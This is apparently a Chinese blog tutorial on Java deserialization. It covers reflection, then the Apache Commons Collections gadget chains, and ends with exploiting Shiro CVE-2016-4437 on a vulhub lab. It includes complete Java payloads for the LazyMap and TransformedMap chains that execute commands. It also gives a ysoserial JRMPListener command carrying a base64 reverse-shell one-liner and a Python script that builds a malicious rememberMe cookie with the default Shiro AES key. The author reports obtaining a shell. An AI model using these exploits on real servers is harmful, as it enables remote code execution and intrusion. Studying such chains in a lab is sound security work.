java反序列化——apache

看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了。分析调试的shiro也是直接使用了cc链。首先先了解一些java的反射机制。

一、什么是反射

反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行的时候才动态加载类,并且对于任意一个类,都能够知道这个类的所有属性和方法,调用方法/访问属性,不需要提前在编译期知道运行的对象是谁,他允许运行中的Java程序获取类的信息,并且可以操作类或对象内部属性。程序中对象的类型一般都是在编译期就确定下来的,而当我们的程序在运行时,可能需要动态的加载一些类,这些类因为之前用不到,所以没有加载到jvm,这时,使用Java反射机制可以在运行期动态的创建对象并调用其属性,它是在运行时根据需要才加载。

我们可以在java加载了类进入jvm之后,获取到这个类的实例,并且可以调用这个类的方法,参数之类的。

看一个例子

class User{

private String name;

private int age;

@Override

public String toString(){

return "User{" + "name=" +name + ", age="+age+"}";

}

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

public int getAge() {

return age;

}

public void setAge(int age) {

this.age = age;

}

}

现在定义了一个类User,这个类有各种的方法和参数。我们将这个类实例化之后,再动态调用它的方法来给它赋值。

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {

User user = new User();

Class clz = user.getClass();

Method method = clz.getMethod("setName", String.class);

Method method1 = clz.getMethod("setAge", int.class);

method1.invoke(user,21);

method.invoke(user,"fortheone");

System.out.println(user);

}

在主方法中实现这些反射调用方法,要抛出以上三个错误,否则会无法执行。所以一个反射的流程就是:先通过getClass获取到类实例,再通过getMethod获取到类方法,然后再利用invoke方法传入参数进行调用。但是,在这个例子中所调用的方法都是public属性,而在一些类中可能会存在protected或是provide属性,需要用到setAccessible(true)这种方法来解除私有限定。

二、java序列化与反序列化

Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。要注意的是,只有实现了serializeable接口的类才可以进行序列化操作。

1import java.io.*; 2 3 4 5public class test1 { 6 7 8 9 10 11    public static void main(String[] args){ 12 13        User user = new User("fortheone", 21); 14 15        try { 16 17            // 创建一个FIleOutputStream 18 19            FileOutputStream fos = new FileOutputStream("./user.ser"); 20 21            // 将这个FIleOutputStream封装到ObjectOutputStream中 22 23            ObjectOutputStream os = new ObjectOutputStream(fos); 24 25            // 调用writeObject方法,序列化对象到文件user.ser中 26 27            os.writeObject(user); 28 29 30 31 32 33            System.out.println("读取数据:"); 34 35            //  创建一个FIleInutputStream 36 37            FileInputStream fis = new FileInputStream("./user.ser"); 38 39            // 将FileInputStream封装到ObjectInputStream中 40 41            ObjectInputStream oi = new ObjectInputStream(fis); 42 43            // 调用readObject从user.ser中反序列化出对象,还需要进行一下类型转换,默认是Object类型 44 45            User user1 = (User)oi.readObject(); 46 47 48 49 50 51            user1.info(); 52 53        } catch (FileNotFoundException e) { 54 55            e.printStackTrace(); 56 57        } catch (IOException e) { 58 59            e.printStackTrace(); 60 61        } catch (ClassNotFoundException e) { 62 63            e.printStackTrace(); 64 65        } 66 67    } 68 69} 70 71 72 73 74 75class User implements Serializable{ 76 77    private String name; 78 79    private int age; 80 81 82 83 84 85    public User(String name, int age) { 86 87        this.name = name; 88 89        this.age = age; 90 91    } 92 93 94 95 96 97    public void info(){ 98 99        System.out.println("Name: "+name+", Age: "+age); 100 101    } 102 103 104 105 106 107    // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{ 108 109    //     System.out.println("[*]执行了自定义的readObject函数"); 110 111    // } 112 113}

这是一个序列化与反序列化的演示,其中的 FileOutputStream ObjectOutputStream 是java的流处理的转换。首先创建一个文件输出流,然后再使用过滤流来处理,可以提供缓冲写的作用。

具体可以参见文章https://www.cnblogs.com/shitouer/archive/2012/12/19/2823641.html

那么在序列化与反序列化的过程中,会有一个问题,就是在反序列化的时候会自动执行类的readObject方法。如果我们在readObject中有恶意的操作,即可造成攻击。如下图:

新建 DOCX 文档3686.png

三、Apache-CommonsCollections 序列化RCE漏洞分析

环境准备:首先安装idea,然后安装maven插件,使用maven直接安装 CommonsCollections。在pom.xml中加入

1<dependencies> 2 3    <dependency> 4 5        <groupId>commons-collections</groupId> 6 7        <artifactId>commons-collections</artifactId> 8 9        <version>3.1</version> 10 11    </dependency> 12 13</dependencies>

即可安装。安装好以后记得要把项目jdk版本与本地jdk版本对应。参考文章https://blog.csdn.net/qq\_22076345/article/details/82392236

出现了CommonsCollections的包就说明成功了。

漏洞分析:在InvokeTransformer类中有这两个方法

新建 DOCX 文档4230.png

构造方法中可以传入三个参数,方法名,参数类型,参数。然后transform方法接收一个object对象。会对传入的对象进行反射调用方法。但是这样还不能执行命令,因为在java中执行命令的操作是  Runtime.getRuntime().exec(cmd)。而在这里我们一次只能传入一个方法。

但是很巧的是 ChainedTransformer 这个类中的 transform方法可以循环执行 transform方法。并且将上一次执行的结果作为下一次的参数。

新建 DOCX 文档4461.png

这样说可能不是很清楚,举个例子来看看。

新建 DOCX 文档4483.png

这里要求在chainedTransformer的transform方法中传入一个Runtime对象。但是这样我们没有利用到反序列化,在实际情况里也不可能给我们这样传参去调用。

从上面的步骤可以看到,整个链的起点就是 Runtime ,而我们在利用这条链的时候也没有办法通过传参去传入这个Runtime。

但是恰巧有这么一个类 ConstantTransformer 它的构造方法是直接放回传入的参数,它的transform方法也是直接返回传入的参数。那么也就是说 把Runtime.class 传入 ConstantTransformer 作为 transformers数组的起点,通过第一次transform方法,就可以得到Runtime。后面再利用循环调用transform就可以通过反射命令执行。

新建 DOCX 文档4837.png

新建 DOCX 文档4839.png

这样就可以通过循环调用transform方法来执行命令。现在漏洞触发的核心已经了解清楚了,接下来就是找触发漏洞的利用链。也就是如何触发chainedTransformer的transform方法呢?

接下来有两条链,一条受限于jdk版本(jdk1.7可以,8不行)

LazyMap链

新建 DOCX 文档4983.png

在lazymap的get方法中执行了transform方法。所以只要将factory赋值为chainedTransformer。可以直接在构造方法里赋值。

新建 DOCX 文档5063.png

所以要找到一个类可以触发LazyMap的get方法。而在TiedMapEntry类中有一个getValue方法可以执行get方法,且map属性可控。

新建 DOCX 文档5141.png

且TiedMapEntry类中的tostring方法可以触发getValue方法,java的tostring方法与php的__tostring方法一样,在类实例被当作字符串的时候会自动执行。

新建 DOCX 文档5239.png

然后又找到 BadAttributeValueExpException 的readObject方法会触发tostring方法

新建 DOCX 文档5303.png

所以只要把val属性设置为 TiedMapEntry 即可。最终payload:

1import org.apache.commons.collections.Transformer; 2 3import org.apache.commons.collections.functors.ChainedTransformer; 4 5import org.apache.commons.collections.functors.ConstantTransformer; 6 7import org.apache.commons.collections.functors.InvokerTransformer; 8 9import org.apache.commons.collections.keyvalue.TiedMapEntry; 10 11import org.apache.commons.collections.map.LazyMap; 12 13import org.apache.commons.collections.map.TransformedMap; 14 15 16 17import javax.management.BadAttributeValueExpException; 18 19import java.lang.reflect.Constructor; 20 21import java.lang.reflect.*; 22 23import java.util.HashMap; 24 25import java.util.Map; 26 27import java.io.*; 28 29 30 31public class test { 32 33    public static void main(String[] args) throws Exception{ 34 35        Transformer[] transformers = new Transformer[]{ 36 37                new ConstantTransformer(Runtime.class), 38 39                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), 40 41                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), 42 43                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}) 44 45        }; 46 47        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 48 49        Map innerMap = new HashMap(); 50 51        innerMap.put("value","asdf"); 52 53 54 55        Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); 56 57        // 将lazyMap封装到TiedMapEntry中 58 59        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val"); 60 61        // 通过反射给badAttributeValueExpException的val属性赋值 62 63        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 64 65        Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); 66 67        val.setAccessible(true); 68 69        val.set(badAttributeValueExpException, tiedMapEntry); 70 71        // 序列化 72 73        ByteArrayOutputStream baos = new ByteArrayOutputStream(); 74 75        ObjectOutputStream oos = new ObjectOutputStream(baos); 76 77        oos.writeObject(badAttributeValueExpException); 78 79        oos.flush(); 80 81        oos.close(); 82 83        // 本地模拟反序列化 84 85        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); 86 87        ObjectInputStream ois = new ObjectInputStream(bais); 88 89        Object obj = (Object) ois.readObject(); 90 91    } 92 93 94 95 96 97    }

TransformedMap利用链

Map类是存储键值对的数据结构。Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。

其中的checkSetValue方法中,valueTransformer属性调用了transform方法。所以只要将valueTransformer属性设置为我们之前的chainedTransformer即可触发漏洞。

新建 DOCX 文档8058.png

调用decorate方法可以实例化一个 TransformedMap 类,然后将其属性 keyTransformer和valueTransformer设置为我们想要的值。所以现在就是要再找一个触发checkSetValue方法的类。

新建 DOCX 文档8177.png

在AnnotationInvocationHandler类中的readObject 中执行了setValue方法。而 setValue() 函数最终会触发 checkSetValue() 函数:

新建 DOCX 文档8277.png

而memberValues来自于构造方法,所以最终的payload为:

1import java.io.File; 2 3import java.io.FileInputStream; 4 5import java.io.FileNotFoundException; 6 7import java.io.FileOutputStream; 8 9import java.io.IOException; 10 11import java.io.ObjectInputStream; 12 13import java.io.ObjectOutputStream; 14 15import java.lang.annotation.Retention; 16 17import java.lang.annotation.Target; 18 19import java.lang.reflect.Constructor; 20 21import java.util.HashMap; 22 23import java.util.Map; 24 25import java.util.Map.Entry; 26 27 28 29 30 31import org.apache.commons.collections.Transformer; 32 33import org.apache.commons.collections.functors.ChainedTransformer; 34 35import org.apache.commons.collections.functors.ConstantTransformer; 36 37import org.apache.commons.collections.functors.InvokerTransformer; 38 39import org.apache.commons.collections.map.TransformedMap; 40 41 42 43 44 45public class test { 46 47    public static void main(String[] args) throws Exception { 48 49        //1.客户端构建攻击代码 50 51        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 52 53        Transformer[] transformers = new Transformer[] { 54 55                new ConstantTransformer(Runtime.class), 56 57                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), 58 59                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), 60 61                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) 62 63        }; 64 65        //将transformers数组存入ChaniedTransformer这个继承类 66 67        Transformer transformerChain = new ChainedTransformer(transformers); 68 69 70 71 72 73        //创建Map并绑定transformerChina 74 75        Map innerMap = new HashMap(); 76 77        innerMap.put("value", "value"); 78 79        //给予map数据转化链 80 81        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); 82 83        //反射机制调用AnnotationInvocationHandler类的构造函数 84 85        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 86 87        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 88 89        //取消构造函数修饰符限制 90 91        ctor.setAccessible(true); 92 93        //获取AnnotationInvocationHandler类实例 94 95        Object instance = ctor.newInstance(Retention.class, outerMap); 96 97 98 99 100 101        //payload序列化写入文件,模拟网络传输 102 103        FileOutputStream f = new FileOutputStream("payload.bin"); 104 105        ObjectOutputStream fout = new ObjectOutputStream(f); 106 107        fout.writeObject(instance); 108 109 110 111 112 113        //2.服务端读取文件,反序列化,模拟网络传输 114 115        FileInputStream fi = new FileInputStream("payload.bin"); 116 117        ObjectInputStream fin = new ObjectInputStream(fi); 118 119        //服务端反序列化 120 121        fin.readObject(); 122 123    } 124 125    }

利用Ysoserial 生成payload

下载Ysoserial 然后执行 java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 calc.exe > payload.bin然后把payload.bin放入项目中,对其进行反序列化

新建 DOCX 文档11007.png

漏洞环境搭建

https://vulhub.org/#/environments/shiro/CVE-2016-4437/

直接使用docker搭建vulhub里的shiro靶场就可以了。

启动后

微信图片_20200730134457.jpg

登录抓包

新建 DOCX 文档11191.png

可以在响应包中看到有 rememberMe=deleteMe的字段,这是shiro的特征。

漏洞验证

1、直接使用xray给出的payload测试

新建 DOCX 文档11267.png

在xray的config.yaml中修改proxy为burp的监听端口,这样可以获取到xray发出的流量。

新建 DOCX 文档11323.png

这里可以抓到xray发出的请求包中的payload,其中的header中还带有Testecho,用以测试回显。可以看到响应头中出现了Testecho字样。所以判断出存在漏洞。然后再将Testecho替换为 Testcmd 即可执行命令。

新建 DOCX 文档11445.png

但是我这台机器在执行ifconfig命令的时候不知道为什么无法执行。

2、使用ysoserial反序列化发payload

首先要下载 ysoserial的jar包

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

然后下载 ysoserial的源码

https://github.com/frohoff/ysoserial.git

java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 7878 CommonsCollections5 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}"

在7878端口监听JRMP,等待服务端访问。

然后使用poc.py生成payload的cookie

1import sys 2 3import uuid 4 5import base64 6 7import subprocess 8 9from Crypto.Cipher import AES 10 11 12 13def encode_rememberme(command): 14 15    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE) 16 17    BS = AES.block_size 18 19    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() 20 21    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") 22 23    iv = uuid.uuid4().bytes 24 25    encryptor = AES.new(key, AES.MODE_CBC, iv) 26 27    file_body = pad(popen.stdout.read()) 28 29    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) 30 31    return base64_ciphertext 32 33 34 35if __name__ == '__main__': 36 37    payload = encode_rememberme(sys.argv[1]) 38 39print "rememberMe={0}".format(payload.decode()) 40 41 42 43python poc.py  监听服务器ip:端口

生成了payload之后,向服务器发送payload的cookie

新建 DOCX 文档12873.png

新建 DOCX 文档12875.png

成功获取到shell。

一些要注意的点

1、在生成payload的时候,使用的key一般是shiro1.2.4默认的key,在实际环境下可能会有其他的key。xray中自带了几个其他的key值用于遍历。2、实际情况中默认shiro的commons-collections版本为3.2.1 而ysoserial里使用3.2.1的版本时会报错,但是可以使用JRMP。可以多尝试几个 commons-collections的版本。具体还要看环境中的依赖包。

参考文章

https://www.anquanke.com/post/id/211228

实验推荐--Java反序列漏洞

本实验通过Apache Commons Collections 3为例,分析并复现JAVA反序列化漏洞

关注我们获取更多精彩干货哦~

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

Java日期时间API系列31

  时间戳是指格林威治时间1970年01月01日00时00分00秒起至现在的总毫秒数,是所有时间的基础,其他时间可以通过时间戳转换得到。Java中本来已经有相关获取时间戳的方法,Java8后增加新的类Instant等专用于处理时间戳问题。 1获取时间戳的方法和性能对比1.1获取时间戳方法Java8以前

java中 什么是反射?

JAVA反射机制是在运行状态中,对于任意一个实体类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。JAVA反射(放射)机制:“程序运行时,允许改变程序结构或变量类型,这种语言称为动态语言(https://www.oschina.net/act

java面试(反射)05

1.什么是反射JAVA反射机制是在运行状态中,对于任意一个类,都能够获取这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取类信息以及动态调用对象内容就称为java语言的反射机制。2.反射的作用在运行时判断任意一个对象所属的